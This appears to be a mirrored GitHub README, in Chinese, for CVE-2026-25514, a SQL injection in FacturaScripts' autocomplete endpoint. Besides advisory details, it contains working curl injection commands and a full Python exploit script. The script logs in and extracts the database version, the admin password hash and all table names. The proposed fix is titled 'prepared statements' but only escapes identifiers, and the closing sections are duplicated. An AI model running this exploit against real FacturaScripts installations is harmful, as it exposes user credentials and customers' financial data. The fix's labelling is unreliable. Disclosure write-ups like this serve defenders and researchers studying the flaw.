lukasz-rybak/CVE-2026-25514
GitHub: lukasz-rybak/CVE-2026-25514
该项目提供了针对 FacturaScripts 2025.81 之前版本 Autocomplete 操作中严重 SQL 注入漏洞的利用脚本及分析。
Stars: 0 | Forks: 0
# CVE-2026-25514: FacturaScripts 在 Autocomplete 操作中存在 SQL 注入
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2026-25514](https://nvd.nist.gov/vuln/detail/CVE-2026-25514) |
| **严重程度** | HIGH |
| **安全公告** | [查看公告](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 受影响产品
- **facturascripts/facturascripts** (版本: < 2025.81)
## CWE 分类
- CWE-20: 输入验证不当
- CWE-89: SQL 命令中使用的特殊元素中和不当('SQL 注入')
- CWE-943: 数据查询逻辑中的特殊元素中和不当
## 详细信息
### 摘要
**FacturaScripts 在自动补全功能中包含一个严重的 SQL 注入漏洞**,该漏洞允许经过身份验证的攻击者从数据库中提取敏感数据,包括用户凭据、配置设置以及所有存储的业务数据。该漏洞存在于 `CodeModel::all()` 方法中,其中用户提供的参数被直接拼接到 SQL 查询中,未经清理或参数化绑定。
### 详情
FacturaScripts 中的多个控制器,包括 `CopyModel`、`ListController` 和 `PanelController`,都实现了一个自动补全操作,该操作通过 `CodeModel::search()` 或 `CodeModel::all()` 方法处理用户输入。这些方法通过直接拼接用户控制的参数来构建 SQL 查询,没有任何验证或转义。
#### 漏洞代码位置
**文件:** `/Core/Model/CodeModel.php`
**方法:** `all()`
**行数:** 108-109
```
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
```
#### 受漏洞影响的参数
以下参数容易受到 SQL 注入攻击:
1. **`source`** → 映射到 `$tableName` - 表名注入
2. **`fieldcode`** → 映射到 `$fieldCode` - 列名注入
3. **`fieldtitle`** → 映射到 `$fieldDescription` - 列名注入(主要攻击向量)
#### 攻击流程
1. 攻击者使用有效凭据进行身份验证(任何用户角色)
2. 攻击者向 `/CopyModel` 发送 POST 请求,参数为 `action=autocomplete`
3. 恶意 SQL 函数/查询通过 `fieldtitle` 参数注入
4. 应用程序执行注入的 SQL 并以 JSON 格式返回结果
5. 攻击者从数据库中提取敏感数据
### 概念验证 (PoC)
#### 前置条件
- 有效的身份验证凭据(测试实例中为 admin/admin)
- 访问 FacturaScripts Web 界面
#### 分步手动利用 (CLI)
由于 FacturaScripts 使用了 `MultiRequestProtection`,每个 POST 请求都需要一个有效的 `multireqtoken`。
**1. 获取初始 token 和会话 cookie:**
FacturaScripts 将 `/` 重定向到 `/login`,因此我们使用 `-L` 跟随重定向,使用 `-c` 保存会话 cookie。
```
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
```
**2. 身份验证(登录):**
使用保存的 cookie 和 token 进行登录。
```
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
```
**3. 提取数据库版本:**
为下一个请求获取新的 token 并执行注入。
```
# 获取新的 token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# 执行 SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
**4. 提取数据库用户和名称:**
```
# 获取新的 token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# 执行 SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
**5. 提取管理员密码哈希:**
```
# 获取新的 token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# 执行 SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
```
#### 自动化利用脚本
```
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
```
### 影响
此 SQL 注入漏洞具有 **严重 (CRITICAL)** 影响:
#### 数据机密性
- **完全数据库泄露** - 攻击者可以提取所有数据,包括:
- 用户凭据(密码哈希)
- 客户信息(姓名、地址、税务 ID 等)
- 财务记录(发票、付款、银行详情)
- 业务逻辑和配置数据
- 插件和系统设置
#### 谁受影响?
- 运行易受攻击版本的 **所有 FacturaScripts 安装实例**
- **所有经过身份验证的用户** 都可以利用(不仅仅是管理员)
- 使用 FacturaScripts 进行会计/开票的 **企业**
- 数据存储在系统中的 **客户**
### 建议修复方案
#### 立即修复
**选项 1:使用预处理语句**
```
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
```
## 参考资料
- https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
- https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
- https://nvd.nist.gov/vuln/detail/CVE-2026-25514
- https://github.com/advisories/GHSA-pqqg-5f4f-8952
## 免责声明
此 CVE 是遵循协同漏洞披露实践负责任地披露的。此处提供的信息仅用于教育和防御目的。
### 影响
此 SQL 注入漏洞具有 **严重 (CRITICAL)** 影响:
#### 数据机密性
- **完全数据库泄露** - 攻击者可以提取所有数据,包括:
- 用户凭据(密码哈希)
- 客户信息(姓名、地址、税务 ID 等)
- 财务记录(发票、付款、银行详情)
- 业务逻辑和配置数据
- 插件和系统设置
#### 谁受影响?
- 运行易受攻击版本的 **所有 FacturaScripts 安装实例**
- **所有经过身份验证的用户** 都可以利用(不仅仅是管理员)
- 使用 FacturaScripts 进行会计/开票的 **企业**
- 数据存储在系统中的 **客户**
### 建议修复方案
#### 立即修复
**选项 1:使用预处理语句**
```
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
```
## 参考资料
- https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
- https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
- https://nvd.nist.gov/vuln/detail/CVE-2026-25514
- https://github.com/advisories/GHSA-pqqg-5f4f-8952
## 免责声明
此 CVE 是遵循协同漏洞披露实践负责任地披露的。此处提供的信息仅用于教育和防御目的。标签:CISA项目, CVE-2026-25514, CWE-20, CWE-89, FacturaScripts, PHP漏洞, PNNL实验室, Web安全, 参数拼接, 多线程, 字符串匹配, 漏洞复现, 自动补全功能, 蓝队分析, 输入验证缺失, 逆向工具, 高危漏洞